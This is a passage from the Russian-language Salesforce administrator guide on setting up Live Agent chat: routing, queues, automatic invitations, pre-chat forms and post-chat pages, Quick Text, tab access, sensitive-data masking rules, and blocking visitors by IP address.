Данный параметр перенаправляет приложение Live Agent
на настраиваемую постчатовую страницу, отображаемую
клиентам после завершения чата.

Постчатовая страница

Данный параметр перенаправляет приложение Live Agent
на URL-адрес веб-страницы, содержащей постчатовую
страницу.

URL-адрес постчатовой страницы
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Параметры маршрутизации чатов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

Параметры маршрутизации в приложении Live Agent позволяют определять способ
перенаправления входящих запросов на чат агентам.

ОписаниеПараметр маршрутизации

Входящие запросы на чат добавляются в
очередь в приложении Live Agent на
консоли Salesforce и доступны любому
агенту с соответствующим навыком.

Выбор

Входящие чаты перенаправляются агенту
с соответствующим навыком и
наименьшимколичествомактивныхчатов.

Данныйпараметрподдерживаетактивную
доставку, то есть входящие чаты
перенаправляются или доставляются
агентам в оперативном режиме. При
необходимости укажите время ожидания
ответа агентадоперенаправлениязапроса

Наименее активные

на чат следующему соответствующему
доступному агенту.

Входящие чаты перенаправляются агенту
с соответствующим навыком и

Самые доступные

наибольшим различием между
пропускнойспособностьюиколичеством
активных чатов. Например, при
назначенииагентам «А» и «Б» пропускной
способности, равнойпятичатам, иучастии
агента «А» в трех активных чатах, а агента
«Б» только в одном, входящий чат будет
перенаправлен агенту «Б».

Данныйпараметрподдерживаетактивную
доставку, то есть входящие чаты
перенаправляются или доставляются
агентам в оперативном режиме. При
необходимости укажите время ожидания
ответа агентадоперенаправлениязапроса
на чат следующему соответствующему
доступному агенту.
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Параметры создания очереди чатов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Параметры создания очереди в приложении Live Agent позволяют определять способ
обработки входящих запросов на чат при отсутствии доступных агентов.

Каждая созданная кнопкачата Live Agentилиприглашениепозволяетопределять способ
создания очереди, предназначенной для удерживания входящих запросов на чат при
отсутствии доступных агентов с соответствующими навыками. Кроме того, для каждой
очереди может быть определено максимально допустимое количество запросов.
Включение очередей и настройка ограничений позволяют контролировать способы
обработки входящих запросов на чат, которые помогают агентам управлять
накопившимися запросами.

Приналичиифункциисозданияочередейкомпанияможетприниматьвходящиезапросы
на чат дажепримаксимальной загруженности агентов, а ее пользовательможет задавать
максимальнодопустимоеколичествозапросовдляпринятия. Данныйалгоритмпозволяет
повысить эффективность работы агентов и ограничить время нахождения клиентов в
очереди.

Ниже перечислены параметры маршрутизации чатов, определяющие способ
использования функции создания очереди чатов.

РезультатыПараметр
маршрутизации

Параметр создания
очереди

ВыборФункция создания очереди
выключена

• Кнопка чата
отображается активной,
а новые запросы могут
отправлятьсядотехпор,
пока доступны агенты с
нужным навыком или
позволяет пропускная
способность всех
активных агентов.

• Входящие запросы на
чат добавляются в
виджет Live Agent.

• Входящие запросы
выбираются из списка
агентами, пропускная
способность которых
позволяет участвовать в
новых чатах.

Наименее активные или
Самые доступные

Функция создания очереди
выключена

• Кнопка чата
отображается активной,
а новые запросы могут
отправлятьсядотехпор,
пока доступны агенты с
нужным навыком или
позволяет пропускная
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РезультатыПараметр маршрутизацииПараметр создания очереди

способностьвсехактивныхагентов.

• Запросы перенаправляются
агентам, пропускная способность
которых позволяет участвовать в
новых чатах.

ВыборФункция создания очереди включена
безограниченияпо агентуилиобщего
ограничения

• Кнопка чата отображается
активной, а новые запросы могут
отправляться до тех пор, пока
доступны агенты с нужным
навыком.

• Входящие запросы добавляются в
список «Запросы на чат».

• Входящие запросы принимаются
из списка агентами, пропускная
способность которых позволяет
участвовать в новых чатах.

Наименее активные или Самые
доступные

Функция создания очереди включена
безограниченияпо агентуилиобщего
ограничения

• Кнопка чата отображается
активной, а новые запросы могут
отправляться до тех пор, пока
доступны агенты с нужным
навыком.

• Запросы перенаправляются
агентам, пропускная способность
которых позволяет участвовать в
новых чатах.

ВыборФункция создания очереди включена
с использованием ограничения по
агенту или общего ограничения

• Кнопка чата отображается
активной, а новые запросы могут
отправляться до тех пор, пока
доступны агенты с нужным
навыком или позволяет заданное
ограничение. В этом случае до
завершения предыдущих чатов
кнопка отображается неактивной.

• Входящие запросы добавляются в
очередь до тех пор, пока позволяет
заданное ограничение, в случае
достижения которого новые
запросы принимаются только
после завершения предыдущих
чатов.

• Входящие запросы принимаются
из списка агентами, пропускная

2840

Создание каналов интернет-общенияНастройка и обслуживание инструментов службы поддержки



РезультатыПараметр маршрутизацииПараметр создания очереди

способность которых позволяет
участвовать в новых чатах.

Наименее активные или Самые
доступные

Функция создания очереди включена
с использованием ограничения по
агенту или общего ограничения

• Кнопка чата отображается
активной, а новые запросы могут
отправляться до тех пор, пока
доступны агенты с нужным
навыком или позволяет заданное
ограничение. В таких случаях для
пользователя кнопка будет
отображаться неактивной, пока не
будут завершены более ранние
сеансы чата и не откроется доступ
к агенту.

• Входящие запросы добавляются в
очередь до тех пор, пока позволяет
заданное ограничение, в случае
достижения которого новые
запросы принимаются только
после завершения предыдущих
чатов.

• Запросы перенаправляются
агентам, пропускная способность
которых позволяет участвовать в
новых чатах.
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Настройка фирменного стиля Live Agent посредством сайтов Force.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования сайтов
Force.com:
• «Настройка

приложения»

Чтобы оформить внедрение Live Agent в фирменном стиле, воспользуйтесь сайтом
Force.com для загрузки изображений, предназначенных для окна и кнопок чата.

Чтобы настроить окно и кнопки чата, рекомендуем создать как минимум один сайт
Force.com и загрузить изображения, которые должны использоваться в качестве
статических ресурсов. Статические ресурсы позволяют загружать содержимое, которое
может использоваться страницами Visualforce. Каждому статическому ресурсу
присваивается собственный URL-адрес, используемый системой Salesforce для доступа к
изображениям при загрузке окна чата.

1. Создайте сайт Force.com для размещения изображений.

Присоздании сайта Force.com для развертывания Live Agent укажите только сведения
ниже.

• Метка и имя сайта

• Контакт сайта

• Активная начальная страница сайта

• Шаблон сайта

2. Загрузите изображения в качестве статических ресурсов.
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Настройка внедрения Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
Live Agent:
• «Настройка

приложения»

Для создания профилейили
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

После настройки базового внедрения Live Agent рекомендуем настроить решения,
необходимые для работы агентов, администраторови клиентов. Приложение Live Agent
поддерживает разные варианты декларативной настройки внедрения, исключая
необходимость кодирования.

Создание объектов Live Agent

Первыйшаг к внедрениюи запуску Live Agent — создание необходимых объектов в
Salesforce.

2843

Создание каналов интернет-общенияНастройка и обслуживание инструментов службы поддержки



Создание объектов Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Первыйшаг к внедрению и запуску Live Agent — создание необходимых объектов в
Salesforce.

Создание автоматических приглашений на чат
Настройте автоматические приглашения на чат, отображающиеся в виде
анимированных всплывающих окон веб-сайта и позволяющие клиентам общаться
с агентами.

Предчатовые формы и постчатовые страницы
Предчатовые формы и постчатовые страницы в приложении Live Agent позволяют
обмениватьсяинформациейсклиентами, обращающимисявкомпаниюпосредством
чата.

Создание сообщений «Быстрый текст»

Сообщения «Быстрый текст» позволяют агентам быстро добавлять стандартные
примечания в обновления обращений и отправлять клиентам типовые ответы.
Рекомендуем создать настраиваемые сообщения, которые должны использоваться
агентамиприотправке сообщенийэл. почтыилиобщениисклиентамипосредством
чата.

Создание автоматических приглашений на чат

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и настройки
автоматических
приглашений на чат:
• «Настройка

приложения»

Настройтеавтоматическиеприглашенияначат, отображающиесяввидеанимированных
всплывающих окон веб-сайта и позволяющие клиентам общаться с агентами.

Преждечемсоздать автоматическиеприглашения, выполните указанныенижедействия.

• Создайте навыки. Каждая кнопка чата связана с отдельным навыком или набором
навыков, поэтомучаты, открытыепосредствомкнопки, передаютсясоответствующим
агентам.

• Создайте сайт Force.com и статические ресурсы для использования настраиваемых
изображений, соответствующих активному и неактивному статусам кнопки. Чтобы
указатьизображенияили текст кнопкив случаеотсутствия сайта Force.com, измените
код, сгенерированный при создании кнопки.

Автоматические приглашения могут отображаться при выполнении определенных
критериев (например, при нахождении клиента на веб-странице дольше указанного
периода времени). Приглашения могут быть связаны с конкретными навыками,
позволяющими направлять клиентов соответствующим агентам после принятия
приглашения на чат.

1. Введите строку «Кнопки и приглашения чата» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Кнопки и приглашения чата».

2. Нажмите кнопку «Создать».

3. Выберите значение «Автоматическое приглашение» в поле «Тип».

4. Нажмите кнопку «Сохранить».

5. Скопируйте и вставьте код приглашения на каждую веб-страницу, где развернуто
приложение Live Agent. Убедитесь, чтокод вставляется в туобласть страницы, которая
должна отображать приглашение.
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Совет: Ввиду обновления кода при каждом изменении, рекомендуем копировать и вставлять код при каждом
обновлении приглашения.

Параметры автоматических приглашений
Параметрыавтоматическихприглашенийопределяюталгоритмыприглашений, отправляемыхпосетителямвеб-сайта
для уведомления о возможности общения с агентами.

Параметры автоматических приглашений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Параметры автоматических приглашений определяют алгоритмы приглашений,
отправляемых посетителям веб-сайта для уведомления о возможности общения с
агентами.

Ниже перечислены параметры, доступные при создании или редактировании
автоматического приглашения Live Agent.

Основные сведения

Настройте основные функции, доступные для отдельной кнопки чата Live Agent.

Выполняемые функцииПараметр

Данный параметр определяет
необходимость создания кнопкичата или
автоматического приглашения.

Тип

Внимание: При создании
автоматического приглашения на
чат выберите значение
«Автоматическое приглашение».

Данный параметр определяет активность
автоматического приглашения или

Активно

возможностьегоавтоматическойотправки
клиентам.

Данный параметр определяет имя
приглашения.

Данноеимяилиего версия автоматически
добавляется в поле «Имя разработчика».

Имя

Данный параметр определяет API-имя
приглашения.

Имя разработчика

Данный параметр определяет способ
перенаправления входящих запросов на

Тип маршрутизации

чат, инициированных приглашением,
агентам с соответствующими навыками.
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Выполняемые функцииПараметр

Данный параметр связывает навыки с приглашением.
Входящиезапросыначат, инициированныеприглашением,
будут перенаправляться агентам с указанными навыками.

Навыки

Данный параметр определяет стандартный язык
отображения текста в окне чата.

Язык

Данныйпараметропределяетвремяожиданияответа агента
до истечения срока действия и перенаправления запроса
на чат другому агенту.

Истечение срока действия активной доставки

Данный параметр включает функцию создания очередей,
позволяющую входящим запросам на чат находиться в

Включить очередь

очереди до момента появления доступного агента с
соответствующими навыками.

Данный параметр определяет количество запросов на чат,
доступное для добавления в очередь одного агента.

Длина очереди на одного агента

Данный параметр определяет максимальное количество
запросов на чат, доступное для добавления в очередь.

Общая длина очереди

Данныйпараметропределяетимя агента, отображающееся
клиентам в окне чата.

Настраиваемое имя агента

Данный параметр определяет настраиваемое
приветственное сообщение, отправляемое клиенту

Автоматическое приветствие

автоматически при принятии агентом запроса на чат из
приглашения.

Чтобы настроить приветствие посредством инструмента
«Доступныеполяслияния», воспользуйтесьполямислияния.
Например, чат может быть настроен посредством полей
слияния, позволяющих дополнять приветствие именем
клиента.

Прим.: Если автоматическое приветственное
сообщение выбирается в конфигурации Live Agentи
приглашении, то сообщение, связанное с
приглашением, будет переопределять сообщение,
связанное с конфигурацией.

Анимацияприглашений

Настройте анимацию приглашения для определения способа ее отображения клиентам.

Выполняемые функцииПараметр

Данный параметр определяет продолжительность
отображения приглашения клиентам.

Время отображения
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Выполняемые функцииПараметр

Данный параметр определяет возможность повторной
отправки приглашения после принятия клиентом
предыдущего приглашения.

Разрешить повторное инициирование приглашения после
принятия

Данный параметр определяет возможность повторной
отправки приглашения после отклонения клиентом
предыдущего приглашения.

Разрешить повторное инициирование приглашения после
отклонения

Данный параметр определяет тип анимации для
приглашения. В зависимости от выбранного типа

Анимация

анимации, пользовательможет выбратьобласти экранадля
отображения приглашения клиентам.

Прим.: Анимации не отображаются агентам,
использующим обозреватель Internet Explorer 9 или
более ранней версии.

Настройкаприглашений

При необходимости дополните приглашение настраиваемыми изображениями путем связывания собственного
развертывания с сайтом Force.com и его статическими ресурсами.

Выполняемые функцииПараметр

Данный параметр определяет сайт Force.com, связанный с
приглашением. Связывание приглашения с сайтом

Сайт для ресурсов

Force.com позволяетоформлятьприглашениевфирменном
стиле. Рекомендуем хранить изображения в качестве
статических ресурсов посредством сайта Force.com.

Данный параметр определяет настраиваемый рисунок
кнопки, отображаемый при недоступности приглашения.

Интерактивное изображение

Данный параметр определяет настраиваемый рисунок
кнопки, отображаемый при доступности приглашения
клиентам для отправки запросов на новые чаты.

Автономное изображение

Данныйпараметрзаменяетстандартноеокночата Live Agent
настраиваемой страницей окна чата, созданной

Настраиваемая страница чата

пользователем. Рекомендуем использовать данный
параметр толькопринеобходимостизаменыстандартного
окна чата, поддерживаемого приложением Live Agent.

Данный параметр перенаправляет приложение Live Agent
на страницу Force.com, содержащую настраиваемую

Страница предчатовой формы

предчатовуюформу, котораяотображаетсяклиентамперед
началом чата с агентом.
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Выполняемые функцииПараметр

Данный параметр перенаправляет приложение Live Agent
на URL-адрес веб-страницы, содержащей предчатовую
форму.

URL-адрес предчатовой формы

Данный параметр перенаправляет приложение Live Agent
на настраиваемую постчатовую страницу, отображаемую
клиентам после завершения чата.

Постчатовая страница

Данный параметр перенаправляет приложение Live Agent
на URL-адрес веб-страницы, содержащей постчатовую
страницу.

URL-адрес постчатовой страницы

Правило отправки

Создайте правила отправки для определения порядка инициирования и отправки приглашения клиентам. При
необходимости дополните правило отправки несколькими критериями. Кроме того, примените логические операторы
к правилу отправки, требующему более сложную логику.

Выполняемые функцииПараметр

Данный параметр определяет критерии, которые должны
оцениваться правилом отправки. Например, создайте

Критерии

правило, отправляющее приглашение при просмотре
веб-страницы клиентом в течение указанного периода
времени.

Данный параметр определяет оператор, который должен
использоватьсядляоценкикритериев. Например, создайте

Оператор

правило, отправляющее приглашение при нахождении
клиента на странице дольше указанного периода времени.

Данный параметр определяет значение, которое должно
использоваться для оценкиформулы. Например, создайте

Значение

правило, отправляющее приглашение при нахождении
клиента на странице более 30 секунд.
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Предчатовые формы и постчатовые страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

Предчатовые формы и постчатовые страницы в приложении Live Agent позволяют
обмениваться информацией с клиентами, обращающимися в компанию посредством
чата.

Предчатовые формы и постчатовые страницы — это стандартный способ получения
информации от клиентов, обращающихся в компанию посредством чата. Кроме того,
данныеформыистраницыподдерживаютстандартныйспособпредоставленияклиентам
доступа к собранным данным после завершения сеанса чата. Более того, посредством
данныхформистраницпользователимогутнастраиватьчат в соответствиис текущими
требованиями.

Предчатовыеформыпозволяютполучатьинформациюотклиента (например, имяили
описание проблемы) после отправки запроса на чат с агентом. Наличие данной
информации способствует более оперативной маршрутизации запросов на чат и
позволяет сократить время, необходимоеагентамдля сбораинформациипередначалом
сеанса чата. Кроме того, данная информация может использоваться для настройки
интерфейса, отображаемого клиенту при общении с агентом (например, добавление
личного имени клиента в окно чата).

Постчатовыестраницыпозволяютпредоставлятьклиентамобщийдоступкинформации
по завершении сеанса чата. Например, по завершении чата с агентом клиенты могут перенаправляться на другую
веб-страницу, содержащую ссылку на соответствующий опрос.

Предчатовые формы и постчатовые страницы создаются программным способом посредством интерфейсов API,
поддерживаемыхприложением Live Agent. Дополнительнуюинформациюосозданиинастраиваемыхпредчатовыхформ
и постчатовых страниц см. в Руководстве разработчика Live Agent (на английском языке).

Создание сообщений «Быстрый текст»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания сообщений
«Быстрый текст»:
• «Создание», «Чтение»,

«Редактирование» и
«Удаление» для объекта
«Быстрый текст»

Сообщения «Быстрый текст» позволяют агентам быстро добавлять стандартные
примечания в обновления обращений и отправлять клиентам типовые ответы.
Рекомендуем создать настраиваемые сообщения, которые должны использоваться
агентами при отправке сообщений эл. почты или общении с клиентами посредством
чата.

1. Откройте вкладку «Быстрый текст».

2. Нажмите кнопку «Создать».

3. При наличии нескольких типов записей «Быстрый текст» выберите нужный тип
записи для нового сообщения и нажмите кнопку «Продолжить».

4. Введите имя сообщения.

5. Введите сообщение.

Текст сообщения может содержать разрывы строк, списки и специальные символы,
а его длина не должна превышать 4 096 символов.

6. Чтобыоткрытьпанельвыбораполейслияния, щелкните«Доступныеполяслияния».

7. Выберите каналы для отображения данного сообщения.

Доступные каналы определяются функциями, включенными в организации.

• «Эл. почта»: действие «Эл. почта» ленты обращений
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• «Live Agent»: приложение Live Agent на консоли Salesforce

• «Портал»: сообщество или клиентский портал

• «Телефон»: действие «Записать вызов в журнал» ленты обращений

• «Внутренний»: действие «Изменить статус» ленты обращений

8. Выберите категорию.

9. При необходимости выберите подкатегорию.

10. Нажмите кнопку «Сохранить».

Совет: Чтобы просмотреть образец быстрого текста, заполненный данными из выбранных записей, щелкните
«Протестировать и проверить поля слияния».

СМ. ТАКЖЕ:

Настройка быстрого текста

Настройка доступности для пользователей

Настройка уровня доступности для вкладки «Администратор» посредством профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки уровня
доступности вкладок для
функций Live Agent:
• «Управление

профилями и наборами
полномочий»

Панель администратора Live Agent — это универсальная область, позволяющая
администраторам находить информацию о кнопках и агентах чатов соответствующих
организаций. Доступ ко вкладке «Администратор Live Agent» может быть предоставлен
пользователям, назначенным определенным профилям.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Щелкните ссылку «Правка» напротив нужного профиля.

3. Задайте уровню доступности вкладки «Администратор Live Agent» значение
«Включены стандартные параметры».

4. Нажмите кнопку «Сохранить».

После предоставления пользователям полномочия для доступа ко вкладке
«Администратор Live Agent» рекомендуем настроить доступ к панели администратора
Live Agent на консоли Salesforce.
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Настройка уровня доступности для вкладки «Сеансы Live Agent» посредством наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки уровня
доступности вкладок для
функций Live Agent:
• «Управление

профилями и наборами
полномочий»

Записисеансовхранят сведенияобинтерактивныхвзаимодействияхагентовиклиентов
(например, количествообработанных запросовна чат, времянахождения агентов в сети
или время активного участия агентов в чатах с клиентами). Доступ ко вкладке «Сеансы
Live Agent» можетбытьпредоставленпользователям, назначеннымопределеннымнаборам
полномочий.

При необходимости доступ ко вкладке «Сеансы Live Agent» может быть предоставлен
посредством профилей.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Щелкните имя нужного набора полномочий или создайте набор полномочий.

3. Щелкните ссылку «Параметры объекта».

4. Щелкните ссылку «Сеансы Live Agent».

5. Нажмите кнопку «Правка».

6. Установитефлажки «Доступно» и «Отображается» вразделе «Параметрывкладки».

7. Нажмите кнопку «Сохранить».
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Настройка уровня доступности для вкладки «Сеансы Live Agent» посредством профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки уровня
доступности вкладок для
сеансов Live Agent:
• «Управление

профилями и наборами
полномочий»

Записисеансовхранят сведенияобинтерактивныхвзаимодействияхагентовиклиентов
(например, количествообработанных запросовна чат, времянахождения агентов в сети
или время активного участия агентов в чатах с клиентами). Доступ ко вкладке «Сеансы
Live Agent» может быть предоставлен пользователям, назначенным определенным
профилям.

При необходимости доступ ко вкладке «Сеансы Live Agent» может быть предоставлен
посредством наборов полномочий.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите профиль агента службы поддержки.

3. Нажмите кнопку «Правка».

4. Задайте уровню доступности вкладки «Сеансы Live Agent» значение «Включены
стандартные параметры».

5. Нажмите кнопку «Сохранить».
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Настройка конфиденциальности

Блокировка конфиденциальных данных в чатах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать правила для
конфиденциальныхданных,
выполните следующие
действия.
• «Настройка

приложения»

Правиладляконфиденциальныхданныхпозволяютблокироватьопределенныеданные,
например: номера кредитныхкарт, номера социальногострахования, номера телефонов
и счетов либо даже ненормативную лексику. Можно выбрать, что будет происходить с
таким текстом: он будет удаляться или заменяться указанными символами.

1. Введите строку «Конфиденциальные данные» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Правила для конфиденциальных данных».

2. Нажмите кнопку «Создать».

3. Укажите шаблоны конфиденциальных данных в виде регулярных выражений
JavaScript (regex) ивыберите требуемыепараметры. Врегулярныхвыраженияхрегистр
учитывается.

4. Нажмите кнопку «Проверитьшаблон».

5. Введите какой-либо текст в формате данных, которые требуется заблокировать,
например номер социального страхования 123-45-6789.

6. Выполнитепредварительныйпросмотррезультатов, чтобыпроверитьправильность
работы правила.

7. Выберите роли, для которых должно действовать это правило.

8. Нажмите кнопку «Сохранить».

Можно блокировать текст у агентов, администраторов, клиентов либо у всех. Когда
срабатывает правило, в журнал записывается одно илинесколько событий транскрипта
чата:

• Заблокированы конфиденциальные данные (агент)

• Заблокированы конфиденциальные данные (администратор)

• Заблокированы конфиденциальные данные (посетитель)

Прим.: Конфиденциальные данные можно увидеть при вводе, однако они
маскируются, когда пользователь отправляет сообщение. Так что, если требуется
скрывать клиентскую информацию от агентов, рекомендуется отключить
«Предварительныйпросмотр агентов» (в разделе «Настройка» > «Настроить» >
«Live Agent» > «Конфигурации Live Agent»).

Правила конфиденциальныхданныхдействуютдля автоматическогоприветствия
и любого, включенного вами быстрого текста. Они не распространяются на имя
агента или другой стандартный текст в окне чата.
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Предоставление агентам возможности блокировки посетителей по IP-адресу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Разрешите агентам избегать общения с назойливыми клиентами путем блокировки
чатов с конкретных IP-адресов.

При необходимости разрешите агентам блокировать запросы на чаты с конкретных
IP-адресов во время работы на консоли. Например, агент может заблокировать клиента,
использующего оскорбительные выражения или отправляющего нежелательные
сообщения.

Действие агента блокирует чаты с отдельного IP-адреса.

Заблокированным посетителям будет отображаться уведомление о недоступности
данного чата.

Призапросечатасзаблокированного IP-адресаприложениепрепятствуетегодобавлению
вочередьилиперенаправлениюагентам. Кроме того, пользователимогутизменятьили
удалять правила блокировки.

1. В меню «Настройка» введите «Конфигурации Live Agent» в поле «Быстрый
поиск», затем выберите «Конфигурации Live Agent».

2. Щелкните ссылку «Правка» напротив нужной конфигурации.

3. Установите флажок «Блокировка посетителя включена» в разделе «Основные
сведения».

4. Нажмите кнопку «Сохранить».

Кроме того, администраторорганизацииможет заблокироватьотдельные IP-адресаили
целыедиапазоны IP-адресов (приполучениинежелательныхчатовизотдельногорегиона).
Дополнительную информацию см. в разделе «Создание правила блокировки по
IP-адресу».

2854

Создание каналов интернет-общенияНастройка и обслуживание инструментов службы поддержки



Создание правила блокировки по IP-адресу для блокировки посетителей чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Разрешите агентам избегать общения с назойливыми клиентами путем блокировки
чатов с конкретных IP-адресов.

Пользователи могут блокировать запросы на чаты с конкретных IP-адресов. Например,
пользовательможетзаблокироватьклиента, использующегооскорбительныевыражения
или отправляющего нежелательные сообщения. При получении нежелательных чатов
из отдельного региона пользовательможет заблокировать целые диапазоны IP-адресов.

Заблокированным посетителям будет отображаться уведомление о недоступности
данного чата.

Призапросечатасзаблокированного IP-адресаприложениепрепятствуетегодобавлению
вочередьилиперенаправлениюагентам. Кроме того, пользователимогутизменятьили
удалять правила блокировки.

1. В меню «Настройка» введите «Блокировка посетителей» в поле «Быстрый поиск»,
затем выберите «Блокировка посетителей». Рекомендации по вводу допустимых
диапазонов IP-адресов см. вразделе «Настройкадиапазоновнадежных IP-адресовдля
организации».

2. Нажмите кнопку «Создать» и настройте параметры правила блокировки.

3. Нажмите кнопку «Сохранить».

При необходимости разрешите агентам блокировать запросы на чаты с конкретных
IP-адресов во время работы на консоли. Дополнительную информацию см. в разделе
«Предоставление агентам возможности блокировки посетителей по IP-адресу».
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Настройка приложения Live Agent на консоли Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
Live Agent:
• «Настройка

приложения»

Для создания профилейили
наборов полномочий:
• «Управление

профилями и наборами
полномочий»

После настройки базового внедрения Live Agent рекомендуем добавить данное
приложение на консоль Salesforce для предоставления агентам и администраторам
возможностииспользованиячатовдляпомощиклиентам. Принеобходимостинастройте
некоторыедругиефункциинаконсоли Salesforceдляповышенияэффективностиработы
агентов при обслуживании клиентов.

Добавление приложения Live Agent на консоль Salesforce

Благодаря добавлению приложения Live Agent на консоль Salesforce, агенты и
администраторымогут общаться с клиентамииполучатьцентрализованныйдоступ
к другим инструментам для обслуживания клиентов.

Настройка ответов чата из статей базы знаний
Если организация использует Salesforce Knowledge, то агентам может быть
предоставлена возможность отправки ответов на вопросы клиентов путем
использованияинформацииизбазызнаний. Чтобыразрешить агентампоиск статей
изприложения Live Agentнаконсоли Salesforceидобавлениенайденнойинформации
в чаты, рекомендуем настроить ответы чата для статей.

Добавление панели администратора на консоль Salesforce

Панель администратора, добавленная на консоль Salesforce, позволяет упростить
работу администраторов службы поддержки. Другими словами, администраторы
могут просматривать сведения о своих агентах без переключения между рабочими
пространствами.
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Добавление приложения Live Agent на консоль Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавленияприложения
Live Agent на консоль
Salesforce:
• «Настройка

приложения»

Благодаря добавлению приложения Live Agent на консоль Salesforce, агенты и
администраторы могут общаться с клиентами и получать централизованный доступ к
другим инструментам для обслуживания клиентов.

Прежде чем добавить Live Agent в приложение консоли Salesforce, рекомендуем сначала
создать приложение консоли Salesforce.

